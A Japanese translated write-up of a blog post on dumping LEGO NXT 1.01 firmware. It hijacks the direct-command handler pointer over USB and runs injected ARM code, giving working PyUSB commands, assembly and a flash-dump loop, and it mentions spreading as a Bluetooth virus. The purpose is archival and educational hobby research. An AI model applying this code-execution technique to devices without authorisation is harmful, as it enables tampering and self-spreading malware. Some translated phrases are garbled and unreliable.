既存のブリックからLEGO NXTファームウェアをダンプする(2025)

2026/03/06 16:17

既存のブリックからLEGO NXTファームウェアをダンプする(2025)

RSS: https://news.ycombinator.com/rss

要約

Japanese Translation:

著者はPybricksプロジェクトで作業している際、オリジナルのファームウェアバージョン 1.01を動作させていた中古Lego NXTを入手し、このファームウェアの保存コピーが存在しないこと(利用可能なのは新しい 1.03のみ)に気づきました。

NXTのAT91SAM7S256 MCU上では、SAM‑BA PEEK/POKE を呼び出すことはできますが、それを行うとファームウェアを書き換えてしまい、古いMCUにはモダンなデバッグインターフェースが欠けているためJTAGも実用的ではありません。ロボットのプログラムは制限付きメモリ内で動作するバイトコードVMで走るので、著者は低レベル機能に焦点を当てました。

PyUSB を介して USB 「Read IO Map」コマンドを送信し、

0x100d3d
(フラッシュの約 3 KiB)に位置するVMの書き込み可能な関数ポインタ
pRCHandler
を読み取りました。32 KiB の書き込み可能 MemoryPool は NOP とカスタム ARM コードで埋めることができ、
pRCHandler
をこのプール内のアドレスにリダイレクトすることで任意の直接コマンドをそのコードとして実行させることができます。

著者は、受信パケットから4バイトのアドレスを読み取り、そのアドレス上のワードを返す組み込みアセンブリを挿入し、元のハンドラを置き換えました。この乗っ取られたハンドラを利用して、USB経由で「direct」コマンドをバイト単位で送信し、フラッシュ領域全体(

0x00100000–0x00200000
)を読み取り、完全なファームウェアとユーザーデータを
nxtpwn-dump.bin
にダンプしました。

この脆弱性は、ストックファームウェアを実行している任意のNXTで機能し、未改変デバイス上でもベアメタルコードが動作できることを示しています。これにより、保存ツールや自己複製型マルウェアなどの可能性が開かれ、NXTファームウェアの整合性チェックにおける脆弱性も浮き彫りになっています。

本文

タイトル:オリジナル LEGO NXT 1.01 ファームウェアをダンプし、ネイティブ ARM コード実行に成功した方法


はじめに

私は Pybricks プロジェクト(Lego Mindstorms ハードウェア向けの MicroPython ポート)に貢献しています。
その作業中に、2006 年に出荷されたオリジナル 1.01 ファームウェアを動かしている中古の LEGO NXT を発見しました。
アーカイブコピーが欲しかったので調べていたら、この古いデバイスで任意コード実行(Arbitrary Code Execution)が可能だと分かりました。

NXT は ARM と組込みエクスプロイト開発を学ぶのに十分なシンプルさがあります。


事前調査

「Google が友達」(現在は時代遅れ)

まず、誰かがすでにこのファームウェアをアーカイブしているかどうか確認しました。
検索した結果、1.01 のコピーは見つからず、公式に入手可能なのは 1.03(発売直後にリリース)だけでした。
NXT コミュニティは新しいまたはコミュニティ改造ファームウェアが出るとすぐに移行しているようです。

ハードウェアが古く、リソースも少ないため、自分でコピーを取得する必要があると判断しました。


ファームウェアイーター・アップデータはバックアップできる?

ファームウェアイーター・アップデータは AT91SAM7S256 マイクロコントローラに組み込まれた SAM‑BA ブートローダ を使用します。
PEEK(読み取り)と POKE(書き込み)がサポートされているため、最初は有望に思えました。

しかし、SAM‑BA に入ると保持したいファームウェアの一部が上書きされます。
したがって、ファームウェアアップデートモードに入らない別の手段 が必要でした。


JTAG:ハードウェアのみでのアプローチ

JTAG はハードウェアデバッグインタフェースです。
NXT の AT91SAM7S256 はサポートしていますが、以下の理由で実装は難しいです。

  • ボードへのソルダリングが必要(コネクタは付いていない)
  • デバッグインタフェース自体が古く、セットアップが困難
  • 近年安価なツールではサポートされていない

JTAG は最後の手段として考えました。私はソフトウェアのみで解決したいと考えていました。


カスタム NXT プログラムを利用する

NXT のプログラムはバイトコード VM で実行され、厳格なメモリ制限があります。
VM は任意のメモリを読み書きできないため、通常のプログラムではファームウェアをダンプできません(VM に脆弱性が無ければ)。

そこで、VM が公開している IO‑Maps を調べました。


IO‑Maps

LEGO NXT 通信プロトコルで IO‑Maps は「異なるコントローラ/ドライバスタックとユーザコードを実行する VM の間の詳細に記述された層」と説明されています。
各ファームウェアモジュールの内部状態が格納されており、NXC プログラマガイドにはすべてのオフセットが列挙されています。ソースコードを見ると、これらの構造体は

.iom
ファイル(例:
c_cmd.iom
)に存在しています。

重要なのは VM IO‑Map に

pRCHandler
という関数ポインタ があることです ― 「直接」コマンド用ハンドラです。
このポインタが USB 経由で読み書き可能なら、コード実行を乗っ取ることができます。


エクスプロイトの範囲設定

PyUSB で USB コマンド送信

import usb.core, struct
dev = usb.core.find(idVendor=0x0694, idProduct=0x0002)
dev.set_configuration()

IO Map 読み取り コマンド(オペコード

0x94
)は 10 バイトのペイロードを持ちます。

Bytes意味
01 94
コマンドヘッダー
module ID
リトルエンディアン、例:VM は
01 00 01 00
offset
リトルエンディアン(例:
00 00
length
リトルエンディアン(例:
10 00
=16 バイト)

最初の 16 バイトを読む例:

dev.write(1, b'\x01\x94\x01\x00\x01\x00\x00\x00\x10\x00')
print(dev.read(0x82, 64))

レスポンス:

b'\x02\x94\x00\x01\x01\x00\x10\x00MindstormsNXT\x00\x00\x00'
.

関数ポインタ(オフセット 16、長さ 4)を読む例:

dev.write(1, b'\x01\x94\x01\x00\x01\x00\x10\x00\x04\x00')
print(dev.read(0x82, 64))

結果:

array('B', [2,148,0,1,0,1,0,4,0,61,13,16,0])
→ ポインタ値
0x100d3d
.

AT91SAM7S256 のメモリマップ上では内部フラッシュ(

0x001xxxxx
)に位置します。
したがって、任意の有効アドレスへ実行を転送できます。


コード実行を得る

マイクロコントローラには現代的な保護機構(NX, ASLR 等)がないため、RAM に任意 ARM コードを書き込み実行できます。

コードはどこに置く?

VM の IO‑Map には MemoryPool 変数 があり、32 KiB のデータセグメントスペースを占めています。
ユーザプログラムが走っていない状態では安全に上書き可能です。

RAM は

0x00200000
から始まると仮定すると、MemoryPool は下半分(例:
0x00208000
)に位置します。

NOP スレッドを作成:

ARM_NOP = 0xe1a00000   # NOP 命令
nop_len = 32*1024 - len(nxtpwn_code)

その後、MemoryPool の末尾に

nxtpwn_code
を書き込みます。


ARM アセンブリを書く

arm-none-eabi-gcc
objcopy
を使い
nxtpwn.s
をバイナリへ変換します。

arm-none-eabi-gcc -c nxtpwn.s
arm-none-eabi-objcopy -O binary nxtpwn.o nxtpwn.bin

次に IO‑Map 書き込みコマンド(

0x95
)でバイナリを MemoryPool にロードします。


直接コマンドハンドラの乗っ取り

pRCHandler
を注入したコードのアドレスへ置き換えます:

iomap_w32(CMD_MODULE, CMD_OFF_FNPTR, 0x00200000 + 32*1024)

これで、NXT に送られる 「直接」コマンドはすべて自分のコードを実行します


例:単純な「メモリ読み取り」ハンドラ

元のハンドラ署名(ARM ABI):

レジスタ引数
r0入力バッファポインタ
r1出力バッファポインタ
r2出力長へのポインタ

アセンブリ例:

push {r4}                @ callee‑saved レジスタ保存

add  r0, #2              @ コマンド byte とアドレス長をスキップ
ldrb r3, [r0]            @ アドレスの最初のバイト取得
add  r0, #1
ldrb r4, [r0]
add  r0, #1
orr  r3, r4, lsl #8
ldrb r4, [r0]
add  r0, #1
orr  r3, r4, lsl #16
ldrb r4, [r0]
add  r0, #1
orr  r3, r4, lsl #24

ldr  r3, [r3]            @ 指定アドレスから 32‑bit 値を読み取る

strb r3, [r1]            @ 出力バッファへ書き込み
add  r1, #1
lsr  r3, #8
strb r3, [r1]
add  r1, #1
lsr  r3, #8
strb r3, [r1]
add  r1, #1
lsr  r3, #8
strb r3, [r1]

mov  r3, #4              @ 出力長 = 4 バイト
strb r3, [r2]

mov  r0, #0              @ 成功を返す
pop  {r4}
bx   lr

エクスプロイトでファームウェアをダンプ

カスタム直接コマンドを送るヘルパー関数:

def pwn_read(addr):
    cmd = struct.pack("<BBI", 0, 0xaa, addr)
    dev.write(1, cmd)
    result = bytes(dev.read(0x82, 64))
    assert result[:2] == struct.pack("<BB", 2, 0xaa)
    return struct.unpack("<I", result[2:])[0]

フラッシュ領域(

0x00100000
0x001FFFFF
、256 KiB)をループしてファイルへ書き込みます:

with open('nxtpwn-dump.bin', 'wb') as f:
    for i in range(256 * 1024 // 4):
        addr = 0x00100000 + i * 4
        val  = pwn_read(addr)
        f.write(struct.pack("<I", val))

生成されたバイナリには、フルファームウェアとブリックに保存されているユーザプログラムが含まれます。


他に何ができる?

  • このエクスプロイトはストックベースのすべての NXT ファームウェアで動作します。
  • 直接コマンドは Bluetooth 経由でも送信可能なので、NX‑to‑NX ウェル(ウイルス)として拡散できる可能性があります。
  • 適切なローダを用いれば、ファームウェアを改変せずに任意のベアメタルコードを NXT 上で実行できます。

結論

VM の IO‑Map を活用し、直接コマンドハンドラを乗っ取ることで、未改造の LEGO NXT 1.01 でネイティブ ARM コード実行を達成し、ファームウェア全体をダンプできました。

この手法を使ってファームウェアをアーカイブしたり、NXT 上でベアメタル開発に挑戦してみてください。ハッキングを楽しんでください!

同じ日のほかのニュース

一覧に戻る →

2026/03/08 5:43

CAS番号(化学物質登録番号)

## Japanese Translation: CasNumは、コンパスと定規を用いた幾何学的構成により任意精度算術を実装するPythonライブラリです。数値は平面上の点としてエンコードされ、加算・乗算・除算・論理ゲートなどの演算は、線/点、円、直線と円の交点などの5つの基本的な幾何学プリミティブから構築されます。最適化には、2倍による特殊ケース乗算や剰余計算で最高位ビット(2のべき乗)を除去する手法が含まれています。 このライブラリはGame BoyエミュレータのALUに組み込むことを想定しています。CasNumを統合するには、PyBoy の `opcodes_gen.py` を編集するだけで、他のエミュレータコードは変更されません。使用例としては、単純なRSA実装(`python3 -m examples.rsa`)や、幾何学ベースの算術のみで動作させるポケットモンスター 赤版(`python3 -m examples.basic`)があります。初回起動に約15分かかりますが、その後はPython の `lru_cache` によりほぼ 0.5–1 FPS で再起動できます。 ビュアースクリプト (`casnum/cas/viewer.py`) は幾何学的構成を可視化し自動ズームします。RSA例では手動ズームが必要になる場合があります。依存関係は、sympy(コア)、可視化用のオプション pyglet、テスト用 pytest‑lazy‑fixtures、RSA 用 pycryptodome、および任意で Euclid Postulate V です。インストールは `git clone --recursive` の後に `pip install -r requirements.txt` を実行します。使用している ROM(`2048.gb`)は zlib ライセンス、CasNum コアコードは MIT ライセンス、PyBoy は LGPL v3.0 でライセンスされており、このプロジェクトはオープンソースや教育プロジェクトに適しています。

2026/03/08 6:56

3T ブラインドスポット:米国の非営利団体

## Japanese Translation: **概要** 米国の非営利セクターは年間 **3兆ドル** を管理しており、これはイギリスのGDPを上回る金額ですが、そのうち実際にプログラム費用に充てられるのは **約36%(1,800億ドル)** に過ぎません。残りはオーバーヘッド、スタッフ給与、資金調達に使われています。登録済み非営利団体は **180万人以上** であり、その多くは収益が5万ドル未満の場合 IRS Form 990 の提出義務から免除されているため、セクター全体の大部分が公衆の監視から隠れています。 寄付者の信頼感は低下しています。**米国の寄付者の32%が5年以上前よりも慈善団体に不信感を抱いています**(BBB Wise Giving Alliance)、世界的にも三分の一が非営利団体への信頼を失っています(Gallup)。財務的負担は顕著で、**調査対象の非営利団体の36%が2024年末に営業赤字を報告し、10年間で最高水準となりました**。また **41%しか全職員に生活賃金を支払えません**。資金提供者は通常オーバーヘッドを約15 % に抑えるよう指示しますが、多くの非営利団体は管理費に **31 % 近くを使っており、過小報告やコーナーカットが頻発する** ― これは「非営利組織の飢餓サイクル」と呼ばれる現象です。 企業会計との大きな違いは顕著です。IRS Form 990 は年間一度提出され、公開までに **12–18か月** を要し、監査済み財務諸表や詳細なプログラム内訳が欠如しています。一方で公的企業は **10-K(年次)、10-Q(四半期)、8-K(重要事象)** を提出し、60日以内に監査済みの声明を求められます。このコンプライアンス中心の枠組みが可視性の問題を生み出し、寄付者の信頼を侵食しています。 国際的には、英国で実施された研究で **ウガンダの井戸の45%が非営利団体によって資金提供されましたが、機能していませんでした**。これにより 2億1,500万〜3億6,000万ドル相当のリソースが無駄になっています—非効率性の重大さを示しています。既存技術(カメラ・センサー・衛星画像)はリアルタイムで成果を追跡できる可能性がありますが、現在の報告規則ではそのような機能は義務付けられていません。 非営利セクターの将来は、コンプライアンス重視から真の透明性と説明責任への転換にかかっています。この変革なしには、非営利団体は営業赤字と寄付者の懐疑心を続けるでしょう。変革が実現すれば、信頼を回復し持続可能な資金調達を確保できる可能性があります。

2026/03/08 5:55

政府官僚が予測市場に関与しないようにするための取り組み。

## Japanese Translation: **概要:** 終末予測市場腐敗法は、2026年3月8日にオレゴン州のジェフ・マークリ上院議員とミネソタ州のエイミー・クラボチャ上院議員によって提案され、共同後援者としてメリーランド州のクリス・ヴァン・ホレン、カリフォルニア州のアダム・シフ、およびニューヨーク州のキルステン・ギリブランドがいます。この法案は、大統領、副大統領、議員およびその他の公務員が非公開情報に基づく予測市場契約を取引することを禁じます。すなわち、この新しい形態の投機金融におけるインサイダー取引を実質的に禁止します。この法案は、商品先物取引委員会(CFTC)の違反摘発権限を拡大し、監視団体であるパブリック・シチズン、ワシントン州の責任と倫理市民(CREW)、および政府監督プロジェクト(POGO)によって支持されています。POGOのジャニス・ルオング、パブリック・シチズンのクレイグ・ホールマン、およびCREWのデブラ・ペーリンはすべて、予測市場への政府参加に対する倫理的制約の必要性を強調しています。マークリ氏が選挙賭博、ダークマネー、議員株取引、暗号通貨スキャンダルなど公衆腐敗問題と戦ってきた歴史は、この取り組みへの背景を提供します。全文はオンラインで公開されており、法案が投票前に議会委員会で審議される予定であることを示しています。もし成立すれば、連邦公務員は予測市場取引に対して法的制限を受け、マーケットオペレーターの規制監視が強化され、投機金融商品への政府関与に対する倫理的上限が再確認されることになります。

既存のブリックからLEGO NXTファームウェアをダンプする(2025) | そっか~ニュース